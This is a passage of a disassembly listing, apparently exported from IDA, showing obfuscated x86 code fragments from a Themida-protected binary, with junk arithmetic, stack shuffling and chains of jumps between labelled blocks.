loc_568617:				; CODE XREF: sub_56207C+C890j
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	ebp
		jmp	loc_5604A3
; ---------------------------------------------------------------------------


loc_568627:				; CODE XREF: sub_56207C+7404j
		add	edi, 2
		jmp	loc_56B2CD
; ---------------------------------------------------------------------------


loc_568632:				; CODE XREF: sub_56207C+6A23j
		not	edi
		push	ebx
		jmp	loc_573599
; ---------------------------------------------------------------------------


loc_56863A:				; CODE XREF: sub_56207C+BBFAj
		add	eax, 0AFB35EAh
		sub	eax, ebx
		sub	eax, 0AFB35EAh
		pop	ebx
		add	eax, 410A6C6Ah
		sub	eax, ebx
		sub	eax, 410A6C6Ah
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edx
		mov	edx, 276E52C9h
		sub	edx, 153A645Fh
		shr	edx, 1
		shr	edx, 7
		jmp	loc_565ABA
; ---------------------------------------------------------------------------


loc_56866E:				; CODE XREF: sub_56207C+9771j
		push	eax
		mov	eax, 4
		jmp	loc_56180B
; ---------------------------------------------------------------------------


loc_568679:				; CODE XREF: sub_56207C+790Bj
		add	[esp+40h+var_40], 4
		pop	[esp+40h+var_40]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_56077B
; ---------------------------------------------------------------------------


loc_56868E:				; CODE XREF: sub_55F5F5+Dj
		push	edx
		mov	edx, 33C836F7h
		jmp	loc_571331
; ---------------------------------------------------------------------------


loc_568699:				; CODE XREF: sub_56207C+93Cj
		mov	ebx, esi
		pop	esi
		shl	ebx, 2
		push	ebx
		not	[esp+36h+var_38+2]
		pop	ebx
		sub	ebx, 1
		jmp	loc_564045
; ---------------------------------------------------------------------------


loc_5686AF:				; CODE XREF: sub_56207C-339j
		push	[esp+28h+var_28]
		pop	eax
		push	2E10h
		mov	[esp+2Ch+var_2C], ecx
		mov	ecx, esp
		push	3CE6h
		mov	[esp+30h+var_30], edi
		push	ebp
		push	45282597h
		pop	ebp
		jmp	loc_566E72
; ---------------------------------------------------------------------------


loc_5686D1:				; CODE XREF: sub_56207C-2866j
		add	edx, 4
		jmp	loc_562FA8
; ---------------------------------------------------------------------------


loc_5686DC:				; CODE XREF: sub_56207C+62EDj
		not	dh
		jmp	loc_56B2E5
; ---------------------------------------------------------------------------


loc_5686E3:				; CODE XREF: sub_56207C+F3A5j
		mov	esi, ebp
		pop	ebp
		add	edx, 16823AD1h
		add	edx, esi
		sub	edx, 16823AD1h
		jmp	loc_56CC93
; ---------------------------------------------------------------------------


loc_5686F9:				; CODE XREF: sub_56207C+B04j
		mov	[esp+3Ch+var_3C], ecx
		jmp	loc_560F5A
; ---------------------------------------------------------------------------


loc_568701:				; CODE XREF: sub_56207C+5167j
		mov	ebp, 397E00FCh
		xor	eax, ebp
		pop	ebp
		add	ebp, eax
		pop	eax
		xor	ebx, ebp
		pop	ebp
		xor	ebx, 3EC661D2h
		jmp	loc_56B03E
; ---------------------------------------------------------------------------


loc_56871A:				; CODE XREF: sub_56207C+EFDBj
		add	esp, 4
		jmp	loc_560A95
; ---------------------------------------------------------------------------


loc_568722:				; CODE XREF: sub_56207C+DD78j
		add	eax, 4
		xchg	eax, [esp+32h+var_34+2]
		jmp	loc_567486
; ---------------------------------------------------------------------------


loc_56872F:				; CODE XREF: sub_56207C-2B26j
		add	esp, 4
		push	edx
		push	743Eh
		jmp	loc_56D324
; ---------------------------------------------------------------------------


loc_568740:				; CODE XREF: sub_56207C-3803j
		xor	esi, eax
		jmp	loc_56B3C1
; ---------------------------------------------------------------------------


loc_568747:				; CODE XREF: sub_56207C+5D5j
		mov	[esp+3Ah+var_3C+2], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_5665C7
; ---------------------------------------------------------------------------


loc_56875A:				; CODE XREF: sub_56207C+103EBj
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+3Ah+var_3C+2]
		pop	esp
		jmp	loc_5653F1
; ---------------------------------------------------------------------------


loc_568766:				; CODE XREF: sub_56207C+E0BEj
		mov	[esp+36h+var_38+2], edx
		mov	edx, 2C834BDFh
		shl	edx, 4
		dec	edx
		jmp	loc_561A20
; ---------------------------------------------------------------------------


loc_568777:				; CODE XREF: sub_56207C+2C0Ej
		mov	ecx, [esp+2Ch+var_2C]
		add	esp, 4
		add	al, bl
		push	ebx
		jmp	loc_570B2F
; ---------------------------------------------------------------------------


loc_568785:				; DATA XREF: Themida_:0055E32Co
		lodsb
		jmp	loc_564B31
; ---------------------------------------------------------------------------


loc_56878B:				; CODE XREF: sub_56207C+102CEj
		xor	edi, esi
		pop	esi
		sub	eax, edi
		pop	edi
		xor	eax, [esp+24h+var_24]
		xor	[esp+24h+var_24], eax
		xor	eax, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		jmp	loc_55F0E2
; ---------------------------------------------------------------------------


loc_5687A2:				; CODE XREF: sub_56207C+6BC8j
		xor	esi, ecx
		pop	ecx
		inc	esi
		jmp	loc_568887
; ---------------------------------------------------------------------------


loc_5687AB:				; CODE XREF: sub_56207C+2CC5j
		push	[esp+74h+var_74]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		shr	edx, 6
		xchg	ecx, edx
		jmp	loc_56F609
; ---------------------------------------------------------------------------


loc_5687CE:				; CODE XREF: sub_55F45F+6j
		mov	ecx, ebp
		pop	ebp
		add	edx, 8745137h
		add	edx, ecx
		sub	edx, 8745137h
		jmp	loc_55E926
; ---------------------------------------------------------------------------


loc_5687E4:				; CODE XREF: sub_56207C-16E0j
		push	19280994h
		jmp	loc_5622C8
; ---------------------------------------------------------------------------


loc_5687EE:				; CODE XREF: sub_56207C+1132Ej
		pop	edx
		add	cl, 33h
		add	bl, cl
		pop	ecx
		add	bl, 11h
		sub	bl, al
		push	dx
		mov	dl, 11h
		jmp	loc_56F4CA
; ---------------------------------------------------------------------------


loc_568803:				; CODE XREF: sub_56207C+F06Aj
		push	eax
		mov	ah, 92h
		push	ebx
		mov	bh, ah
		mov	cl, bh
		pop	ebx
		pop	eax
		push	ebx
		mov	bh, 0D7h
		jmp	loc_56D127
; ---------------------------------------------------------------------------


loc_568815:				; CODE XREF: sub_56207C+8C94j
		pop	eax
		add	edi, 0EBF0BABh
		sub	esi, edi
		pop	edi
		mov	[edi+20h], esi
		push	[esp+3Eh+var_40+2]
		mov	esi, [esp+42h+var_44+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_566725
; ---------------------------------------------------------------------------


loc_568839:				; CODE XREF: sub_56207C+6FB0j
		mov	edx, 7A4033D8h
		jmp	loc_5711E4
; ---------------------------------------------------------------------------


loc_568843:				; CODE XREF: sub_56207C+1471j
		push	ebx
		mov	ebx, 40E80270h
		push	ecx
		mov	ecx, 54052BC4h
		push	ecx
		not	[esp+34h+var_34]
		push	[esp+34h+var_34]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edi
		jmp	loc_566CD6
; ---------------------------------------------------------------------------


loc_56886E:				; CODE XREF: sub_56207C+B4E8j
		add	ecx, 827A9122h
		add	edx, 1E325B5Eh
		sub	edx, ecx
		sub	edx, 1E325B5Eh
		jmp	loc_56104E
; ---------------------------------------------------------------------------


loc_568887:				; CODE XREF: sub_56207C+672Aj
		inc	esi
		neg	esi
		not	esi
		push	eax
		mov	eax, 44E8463Fh
		sub	eax, 0A3A54C7h
		jmp	loc_57101B
; ---------------------------------------------------------------------------


loc_56889C:				; CODE XREF: sub_56207C+4FDAj
		sub	ebx, 1902C1B3h
		add	ecx, ebx
		mov	ebx, [esp+2Ah+var_2C+2]
		add	esp, 4
		and	ecx, 122B52C3h
		jmp	loc_55F84C
; ---------------------------------------------------------------------------


loc_5688B8:				; CODE XREF: sub_56207C+3B01j
		mov	dh, 1
		xor	dh, ah
		pop	eax
		sub	al, 63h
		sub	al, dh
		add	al, 63h
		pop	dx
		sub	al, bh
		add	al, 0Bh
		sub	al, 7Dh
		push	cx
		mov	ch, 77h
		add	al, ch
		pop	cx
		pop	ebx
		jmp	loc_56AFBA
; ---------------------------------------------------------------------------


loc_5688D9:				; CODE XREF: sub_56207C-348Dj
		xchg	esi, [esp+2Eh+var_30+2]
		pop	esp
		xchg	edx, [esp+2Ah+var_2C+2]
		pop	esp
		jmp	loc_56EB6E
; ---------------------------------------------------------------------------


loc_5688E6:				; CODE XREF: sub_56207C-2647j
		sub	eax, 4
		jmp	loc_567913
; ---------------------------------------------------------------------------


loc_5688EE:				; CODE XREF: sub_56207C+C52Ej
		add	esi, 0DCD19FE9h
		xor	ecx, esi
		jmp	loc_564191
; ---------------------------------------------------------------------------


loc_5688FB:				; CODE XREF: sub_56207C+2D26j
		mov	esi, esp
		push	ebx
		jmp	loc_56C427
; ---------------------------------------------------------------------------


loc_568903:				; CODE XREF: sub_56207C+10F8Fj
		add	ebp, 19E17DE9h
		mov	edi, ebp
		pop	ebp
		jmp	loc_56BE03
; ---------------------------------------------------------------------------


loc_568911:				; CODE XREF: sub_56207C+130Cj
		sub	esp, 4
		mov	[esp+30h+var_30], ebx
		push	eax
		mov	al, 0CDh
		mov	bh, 26h
		jmp	loc_565002
; ---------------------------------------------------------------------------


loc_568924:				; CODE XREF: sub_56207C+5207j
		shr	byte ptr [esp+18h+var_18], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56892D:				; CODE XREF: sub_56207C+F88Fj
		add	eax, 379B5942h
		shl	eax, 7
		jmp	loc_56C581
; ---------------------------------------------------------------------------


loc_56893A:				; CODE XREF: sub_56207C-221Ej
		xor	ecx, 22980B73h
		xor	ecx, 57E27E2Bh
		sub	[edx+38h], ecx
		pop	ecx
		push	esi
		jmp	loc_569C0D
; ---------------------------------------------------------------------------


loc_568950:				; CODE XREF: sub_55EC81+1Ej
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_56BF6D
; ---------------------------------------------------------------------------


loc_56895D:				; CODE XREF: sub_56207C+C62Fj
		add	eax, ecx
		jmp	loc_56F366
; ---------------------------------------------------------------------------


loc_568964:				; CODE XREF: sub_56207C+898Ej
		mov	esp, [esp+2Ch+var_2C]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	eax
		pop	dword ptr [edi+24h]
		jmp	loc_56092D
; ---------------------------------------------------------------------------


loc_568977:				; CODE XREF: sub_56207C+7C83j
		push	[esp+30h+var_30]
		pop	ecx
		add	esp, 4
		push	ebx
		push	edx
		jmp	loc_569A13
; ---------------------------------------------------------------------------


loc_568988:				; CODE XREF: sub_56207C+A7B7j
		add	ebx, 4
		jmp	sub_55FC0D
; ---------------------------------------------------------------------------


loc_568993:				; CODE XREF: sub_56207C+6513j
		push	[esp+42h+var_40+2]
		pop	edx
		jmp	loc_56B407
; ---------------------------------------------------------------------------


loc_56899D:				; CODE XREF: sub_56207C-30E6j
		mov	esp, [esp+2Ch+var_2C]
		push	ebx
		mov	ebx, 785672A0h
		add	ebx, 7ED53B80h
		dec	ebx
		inc	ebx
		xor	ebx, 1C667A54h
		push	esi
		push	ebp
		mov	ebp, 34007FE0h
		mov	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 10A37CCBh
		xor	esi, ebp
		pop	ebp
		add	esi, 108F91A6h
		jmp	loc_57257E
; ---------------------------------------------------------------------------


loc_5689D2:				; CODE XREF: sub_56207C+1066j
		xor	ebp, ebx
		pop	ebx
		mov	ecx, [esp+58h+var_58]
		jmp	loc_569ECC
; ---------------------------------------------------------------------------


loc_5689DD:				; CODE XREF: sub_56207C+F74Dj
		mov	edi, 51FE6FF4h
		sub	ebx, edi
		pop	edi
		pop	ecx
		jmp	loc_5683D0
; ---------------------------------------------------------------------------


loc_5689EB:				; CODE XREF: sub_56207C+3FA6j
		pop	edx
		mov	edi, [esp+3Ch+var_3C]
		add	esp, 4
		xor	[esp+38h+var_38], ebp
		xor	ebp, [esp+38h+var_38]
		xor	[esp+38h+var_38], ebp
		pop	dword ptr [edi+24h]


loc_5689FE:				; CODE XREF: sub_56207C+8447j
		push	4AD1h
		mov	[esp+38h+var_38], esi
		mov	esi, esp
		jmp	loc_562436
; ---------------------------------------------------------------------------


loc_568A0D:				; CODE XREF: sub_56207C+8CD3j
		mov	[esp+38h+var_38], edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp+34h+var_34]
		pop	esp
		mov	[esp+30h+var_30], ebx
		mov	ebx, 6D6133EAh
		sub	ecx, ebx
		jmp	loc_562ED1
; ---------------------------------------------------------------------------


loc_568A2B:				; CODE XREF: sub_56207C+EB3Cj
		mov	ebx, 5832B38h
		push	edx
		mov	edx, 46A42804h
		add	ebx, edx
		jmp	loc_56ED94
; ---------------------------------------------------------------------------


loc_568A3D:				; CODE XREF: sub_56207C+1423j
		mov	ecx, edi
		pop	edi
		inc	ecx
		xor	ecx, 382F3E3Eh
		jmp	loc_568594
; ---------------------------------------------------------------------------


loc_568A4C:				; CODE XREF: sub_56207C+5E1j
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_5703F2
; ---------------------------------------------------------------------------


loc_568A5A:				; CODE XREF: sub_56207C+415Dj
		pop	edx
		pop	edx
		jmp	loc_567E6E
; ---------------------------------------------------------------------------


loc_568A61:				; CODE XREF: sub_56207C+D865j
		push	edi
		push	43170991h
		pop	edi
		shl	edi, 1
		add	edi, 78961FF7h
		sub	edi, 52296C11h
		shr	edi, 7
		xor	edi, 23310A4Ch
		sub	edi, 0B121D14Ah
		xor	ebx, edi
		pop	edi
		push	esi
		mov	esi, 53B17006h
		jmp	loc_55FB2F
; ---------------------------------------------------------------------------


loc_568A93:				; CODE XREF: sub_56207C+F163j
		and	edi, 79408DAh
		sub	edi, 5FB778DBh
		jmp	loc_568632
; ---------------------------------------------------------------------------


loc_568AA4:				; CODE XREF: sub_56207C+E5A5j
		mov	ebp, ebx
		jmp	loc_56D5B2
; ---------------------------------------------------------------------------


loc_568AAB:				; CODE XREF: sub_56207C-2967j
		pop	ebx
		jmp	loc_5676EA
; ---------------------------------------------------------------------------


loc_568AB1:				; CODE XREF: sub_56207C+3B64j
		sub	ebx, ecx
		mov	ecx, [esp+6+var_8+2]
		push	ecx
		mov	ecx, esp
		push	ebx
		push	eax
		mov	eax, 4
		jmp	loc_55F825
; ---------------------------------------------------------------------------


loc_568AC5:				; CODE XREF: sub_56207C+DC16j
		xor	ebx, 90C71ADh
		xor	ebx, 7FEF0002h
		sub	edi, ebx
		pop	ebx
		sub	edi, edx
		add	edi, 124C4451h
		jmp	loc_56B1B1
; ---------------------------------------------------------------------------


loc_568AE1:				; CODE XREF: sub_56207C+805Fj
		xor	[esp+0Eh+var_10+2], 17F15C77h
		pop	eax
		xor	eax, 17F15C77h
		push	[esp+0Ah+var_C+2]
		jmp	loc_571F45
; ---------------------------------------------------------------------------


loc_568AF6:				; CODE XREF: sub_56207C+8AFBj
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp+0Ah+var_C+2]
		jmp	loc_56780E
; ---------------------------------------------------------------------------


loc_568B06:				; CODE XREF: sub_56207C+640Ej
		mov	esp, [esp-4+arg_0]
		jmp	loc_570389
; ---------------------------------------------------------------------------


loc_568B0E:				; CODE XREF: sub_56207C+BFE6j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_568B67
; ---------------------------------------------------------------------------


loc_568B25:				; CODE XREF: sub_56207C+7CD9j
		add	esp, 4
		jmp	loc_56F203
; ---------------------------------------------------------------------------


loc_568B2D:				; CODE XREF: sub_56207C+8F18j
		sub	esp, 4
		mov	[esp-4+arg_0], esi
		push	ebp
		push	79FF56DDh
		pop	ebp
		jmp	loc_560258
; ---------------------------------------------------------------------------


loc_568B3F:				; CODE XREF: sub_56207C+7377j
		pop	ebx
		mov	ebp, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	ebp
		add	[esp-4+arg_0], 78A57430h
		jmp	loc_5668D1
; ---------------------------------------------------------------------------


loc_568B58:				; CODE XREF: sub_56207C+2225j
		xchg	esi, ecx
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		xchg	esi, ecx
		jmp	loc_570C35
; ---------------------------------------------------------------------------


loc_568B67:				; CODE XREF: sub_56207C+6AA4j
		mov	esp, [esp-4+arg_0]
		push	ebp
		push	esp
		mov	ebp, [esp+4+var_4]
		jmp	loc_56DCF3
; ---------------------------------------------------------------------------


loc_568B74:				; CODE XREF: sub_56207C+729Ej
		sub	ecx, 0F677FB35h
		add	eax, ecx
		pop	ecx
		push	ebx
		jmp	loc_5641B3
; ---------------------------------------------------------------------------


loc_568B83:				; CODE XREF: sub_56207C+1966j
		push	ebp
		mov	ebp, 2ABE779Ah
		xor	ebp, 72A3044Fh
		and	ebp, 54C524D1h
		and	ebp, 7C871EC2h
		sub	ebp, 500500BCh
		jmp	loc_5721B0
; ---------------------------------------------------------------------------


loc_568BA6:				; CODE XREF: sub_56207C+EE02j
		mov	eax, 52CD231Ah
		dec	eax
		dec	eax
		neg	eax
		and	eax, 51B75A99h
		push	ebp
		jmp	loc_567A11
; ---------------------------------------------------------------------------


loc_568BBA:				; CODE XREF: sub_56207C+8F9Ej
		dec	esi
		sub	esi, 11990199h
		push	746Ah
		jmp	loc_56B340
; ---------------------------------------------------------------------------


loc_568BCB:				; CODE XREF: sub_56207C+4529j
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_56DBD5
; ---------------------------------------------------------------------------


loc_568BD6:				; CODE XREF: sub_56207C+7D4Ej
		pop	edx
		add	ebx, 67515290h
		add	ebx, edx
		sub	ebx, 67515290h
		push	eax
		jmp	loc_56BBCE
; ---------------------------------------------------------------------------


loc_568BEB:				; CODE XREF: sub_56207C+D067j
		mov	[esp+42h+var_44+2], ebx
		mov	ebx, eax
		mov	edx, ebx
		pop	ebx
		pop	eax
		push	esi
		mov	esi, edx
		mov	ebx, esi
		pop	esi
		pop	edx
		push	ebx
		mov	ebx, 53744BC8h
		xor	ebx, 59D35BAh
		push	ecx
		mov	ecx, 1EC256EDh
		and	ebx, ecx
		jmp	loc_56519B
; ---------------------------------------------------------------------------


loc_568C14:				; CODE XREF: sub_56207C+866Fj
		add	esp, 4
		push	ebx
		jmp	loc_5643F2
; ---------------------------------------------------------------------------


loc_568C1D:				; CODE XREF: sub_56207C+8D60j
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp+42h+var_44+2]
		jmp	loc_56D9FD
; ---------------------------------------------------------------------------


loc_568C34:				; CODE XREF: sub_56207C+7250j
		add	ebp, edx
		pop	edx
		push	eax
		push	esi
		push	ecx
		mov	ecx, 1B771DD5h
		mov	esi, 517660F5h
		jmp	loc_5687A2
; ---------------------------------------------------------------------------


loc_568C49:				; CODE XREF: sub_56207C+BFA4j
		pop	edx
		not	cl
		neg	cl
		push	eax
		mov	ah, 6
		sub	ah, 9Fh
		not	ah
		inc	ah
		push	edx
		jmp	loc_565AC0
; ---------------------------------------------------------------------------


loc_568C5E:				; CODE XREF: sub_56207C+CA24j
		push	edx
		mov	edx, 71200BD8h
		push	edi
		jmp	loc_56B3C9
; ---------------------------------------------------------------------------


loc_568C6A:				; CODE XREF: sub_56207C+3CE1j
		shr	ah, 4
		shl	ah, 8
		sub	ah, 1Bh
		sub	bl, ah
		pop	eax
		mov	ch, bl
		pop	ebx
		xor	ah, ch
		pop	cx
		jmp	loc_56D25A
; ---------------------------------------------------------------------------


loc_568C82:				; CODE XREF: sub_56207C+DE35j
		add	[esp+34h+var_30], 748D57A2h
		pop	ecx
		push	[esp+30h+var_30]
		jmp	loc_567126
; ---------------------------------------------------------------------------


loc_568C93:				; CODE XREF: sub_56207C+BC2Ej
		mov	ecx, 47F12FADh
		inc	ecx
		xor	ecx, 1271E743h
		sub	edx, ecx
		jmp	loc_568092
; ---------------------------------------------------------------------------


loc_568CA6:				; CODE XREF: sub_56207C-3701j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		xor	al, dh
		push	[esp+20h+var_20]
		pop	edx
		push	1A0h
		mov	[esp+24h+var_24], edx
		jmp	loc_56B9ED
; ---------------------------------------------------------------------------


loc_568CC8:				; DATA XREF: Themida_:0055E11Co
		lodsd
		jmp	loc_56715C
; ---------------------------------------------------------------------------


loc_568CCE:				; CODE XREF: sub_56207C+B7D6j
		add	edi, 0F426196Ah
		sub	ecx, edi
		pop	edi
		jmp	loc_562ABF
; ---------------------------------------------------------------------------


loc_568CDC:				; CODE XREF: sub_56207C-23AAj
		pop	ebx
		pop	ebx
		add	esi, ecx
		push	ebp
		mov	ebp, 220E0D3Bh
		sub	ebp, 116A1BE6h
		jmp	loc_573617
; ---------------------------------------------------------------------------


loc_568CF1:				; CODE XREF: sub_56207C+802Bj
		pop	ecx
		push	7D1Fh
		mov	[esp+24h+var_24], eax
		jmp	loc_56BF94
; ---------------------------------------------------------------------------


loc_568CFF:				; CODE XREF: sub_56207C+B4BDj
		xchg	edx, esi
		not	edx
		jmp	loc_5699E1
; ---------------------------------------------------------------------------


loc_568D08:				; CODE XREF: sub_56207C-2B1Aj
		mov	ecx, 23F73DDh
		sub	edi, 482D20ACh
		add	edi, ecx
		push	edx
		mov	edx, 482D20ACh
		add	edi, edx
		pop	edx
		pop	ecx
		xor	edi, 51A01C94h
		sub	edx, 1EFF402Ch
		add	edx, edi
		add	edx, 1EFF402Ch
		push	[esp+28h+var_28]
		pop	edi
		jmp	loc_5622DF
; ---------------------------------------------------------------------------


loc_568D3C:				; CODE XREF: sub_56207C-31BFj
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		push	edx
		sub	esp, 4
		jmp	loc_571C38
; ---------------------------------------------------------------------------


loc_568D4C:				; CODE XREF: sub_56207C+2740j
		pop	edx
		jmp	loc_55FB7C
; ---------------------------------------------------------------------------


loc_568D52:				; CODE XREF: sub_56207C+AB96j
		mov	ebp, 24h
		mov	edi, ebp
		pop	ebp
		mov	edx, edi
		mov	edi, [esp+20h+var_20]
		add	esp, 4
		add	edx, edi
		push	0EACh
		jmp	loc_55F2FE
; ---------------------------------------------------------------------------


loc_568D6E:				; CODE XREF: sub_56207C+9416j
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		jmp	loc_564AF5
; ---------------------------------------------------------------------------


loc_568D7A:				; CODE XREF: sub_56207C+158Fj
		add	esp, 4
		xor	edx, 0E99355Fh
		mov	eax, edx
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		push	7C99h
		mov	[esp+2+var_4+2], edi
		jmp	loc_5667E0
; ---------------------------------------------------------------------------


loc_568D98:				; CODE XREF: sub_56207C+A8B5j
		add	esp, 2
		sub	esp, 2
		mov	word ptr [esp+2+var_4+2], di
		mov	di, 7811h
		sub	bx, di
		pop	di
		push	small 2EF9h
		mov	word ptr [esp+2+var_4+2], di
		push	ebx
		jmp	loc_561A04
; ---------------------------------------------------------------------------


loc_568DBC:				; CODE XREF: sub_56207C+AD3j
		pop	ecx
		add	esi, eax
		add	esi, 1FAE53C1h
		push	ebp
		mov	ebp, 20E22E10h
		jmp	loc_560C42
; ---------------------------------------------------------------------------


loc_568DD0:				; CODE XREF: sub_56207C+81C6j
		xor	dl, al
		push	ebx
		mov	bh, 9Ch
		xor	dl, bh
		pop	ebx
		add	al, dl
		push	[esp+2Ch+var_2C]
		pop	edx
		jmp	loc_56906E
; ---------------------------------------------------------------------------


loc_568DE3:				; CODE XREF: sub_56207C-D54j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_55EDC7
; ---------------------------------------------------------------------------


loc_568DF4:				; CODE XREF: sub_56207C-1914j
		xor	dl, 0F4h
		shr	dl, 7
		add	dl, 0EDh
		jmp	loc_563480
; ---------------------------------------------------------------------------


loc_568E02:				; CODE XREF: sub_56207C+8319j
		sub	ecx, 1
		jmp	loc_56BD0B
; ---------------------------------------------------------------------------


loc_568E0A:				; CODE XREF: sub_56207C+1145Cj
		pop	esp
		mov	[esp+1Eh+var_20+2], edi
		sub	esp, 4
		jmp	loc_562EA4
; ---------------------------------------------------------------------------


loc_568E16:				; CODE XREF: sub_56207C+6E98j
		inc	dx
		xor	dx, 2653h
		add	bx, dx
		pop	edx
		push	si
		mov	si, 875h
		add	bx, si
		pop	si
		add	bx, ax
		push	si
		mov	si, 875h
		jmp	loc_56C92A
; ---------------------------------------------------------------------------


loc_568E3A:				; CODE XREF: sub_56207C+D8EBj
		add	si, ax
		add	si, 7793h
		jmp	loc_563F2A
; ---------------------------------------------------------------------------


loc_568E47:				; CODE XREF: sub_56207C+1785j
		mov	ecx, 2CCE7982h
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 4
		add	ebp, 66646105h
		not	ebp
		sub	ebp, 41874093h
		add	eax, ebp
		pop	ebp
		jmp	loc_564C08
; ---------------------------------------------------------------------------


loc_568E68:				; CODE XREF: sub_56207C+906Ej
		push	edi
		jmp	loc_5645F9
; ---------------------------------------------------------------------------


loc_568E6E:				; CODE XREF: sub_56207C+3B3Ej
		add	esp, 4
		push	eax
		mov	al, 6Dh
		or	al, 0B2h
		jmp	loc_570C94
; ---------------------------------------------------------------------------


loc_568E7B:				; CODE XREF: sub_56207C+2A2Fj
		push	edi
		mov	edi, 0EA49E86h
		xor	ebx, edi
		pop	edi
		add	esi, ebx
		jmp	loc_568083
; ---------------------------------------------------------------------------


loc_568E8B:				; CODE XREF: sub_56207C+3918j
		push	eax
		jmp	loc_56D3BF
; ---------------------------------------------------------------------------


loc_568E91:				; DATA XREF: Themida_:0055E334o
		lodsw
		jmp	loc_56DD1A
; ---------------------------------------------------------------------------


loc_568E98:				; CODE XREF: sub_56207C-3400j
		not	edi
		push	edx
		mov	edx, 260E2BF0h
		add	edi, edx
		jmp	loc_55E4E2
; ---------------------------------------------------------------------------


loc_568EA7:				; DATA XREF: Themida_:0055E31Co
		mov	ax, word ptr [esp+22h+var_24+2]
		push	45F0h
		mov	[esp+26h+var_28+2], ecx
		jmp	loc_573351
; ---------------------------------------------------------------------------


loc_568EB8:				; CODE XREF: sub_56207C+892Cj
		pop	esi
		push	edi
		mov	edi, 6127030Bh
		inc	edi
		or	edi, 1FA374C1h
		sub	edi, 13AB20B7h
		xor	edi, 31F26761h
		dec	edi
		add	edi, 0A5F1CF8Eh
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp+22h+var_24+2]
		jmp	loc_570C04
; ---------------------------------------------------------------------------


loc_568EE7:				; CODE XREF: sub_56207C+1B2j
		push	esi
		mov	esi, 2394724Eh
		xor	esi, 77051034h
		add	eax, esi
		pop	esi
		jmp	loc_56F5CA
; ---------------------------------------------------------------------------


loc_568EFB:				; CODE XREF: sub_56207C+25DAj
		pop	ebx
		xor	eax, edx
		mov	edx, [esp+16h+var_18+2]
		jmp	loc_56BABD
; ---------------------------------------------------------------------------


loc_568F06:				; CODE XREF: sub_56207C-1499j
		or	ebp, 7F8949A9h
		jmp	loc_564ED9
; ---------------------------------------------------------------------------


loc_568F11:				; CODE XREF: sub_56207C+38F1j
		shr	dx, 1
		jmp	loc_568E16
; ---------------------------------------------------------------------------


loc_568F19:				; CODE XREF: sub_56207C-A67j
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		add	eax, 779006C5h
		add	eax, edi
		sub	eax, 779006C5h
		pop	edi
		push	ecx
		mov	ecx, eax
		mov	ebp, ecx
		pop	ecx
		pop	eax
		jmp	loc_5641E8
; ---------------------------------------------------------------------------


loc_568F36:				; CODE XREF: sub_56207C+1ED4j
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		mov	eax, 40h
		sub	eax, 7CE56C05h
		add	eax, edi
		push	edx
		mov	edx, 7CE56C05h
		add	eax, edx
		pop	edx
		jmp	loc_569001
; ---------------------------------------------------------------------------


loc_568F59:				; CODE XREF: sub_56207C+10486j
		mov	esi, 379D0E23h
		push	0
		sub	[esp+20h+var_20], esi
		pop	esi
		push	edx
		mov	edx, 903A6681h
		add	esi, 4B021191h
		jmp	loc_563D5E
; ---------------------------------------------------------------------------


loc_568F78:				; CODE XREF: sub_56207C+9D2Ej
		mov	ebp, eax
		mov	eax, [esp+20h+var_20]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_561628
; ---------------------------------------------------------------------------


loc_568F91:				; CODE XREF: sub_56207C-241Cj
		add	ebp, ecx
		pop	ecx
		add	edi, ebp
		jmp	loc_56FB1F
; ---------------------------------------------------------------------------


loc_568F9B:				; CODE XREF: sub_56207C+5405j
		push	edx
		jmp	loc_570C22
; ---------------------------------------------------------------------------


loc_568FA1:				; CODE XREF: sub_56207C-13FAj
		push	5912h
		mov	[esp+1Ah+var_1C+2], ecx
		jmp	loc_567FB2
; ---------------------------------------------------------------------------


loc_568FAE:				; CODE XREF: sub_56207C+4D9Dj
		pop	ebx
		jmp	loc_55F4A8
; ---------------------------------------------------------------------------


loc_568FB4:				; CODE XREF: sub_56207C+B675j
		and	[edi+1Ch], ebx
		mov	ebx, [esp+12h+var_14+2]
		jmp	loc_571E6A
; ---------------------------------------------------------------------------


loc_568FBF:				; CODE XREF: sub_56207C+31j
		mov	[esp+44h+var_44], edi
		push	esp
		pop	edi
		push	edx
		push	esi
		mov	esi, 6D06543Ah
		mov	edx, esi
		pop	esi
		sub	edx, 54983B0Fh
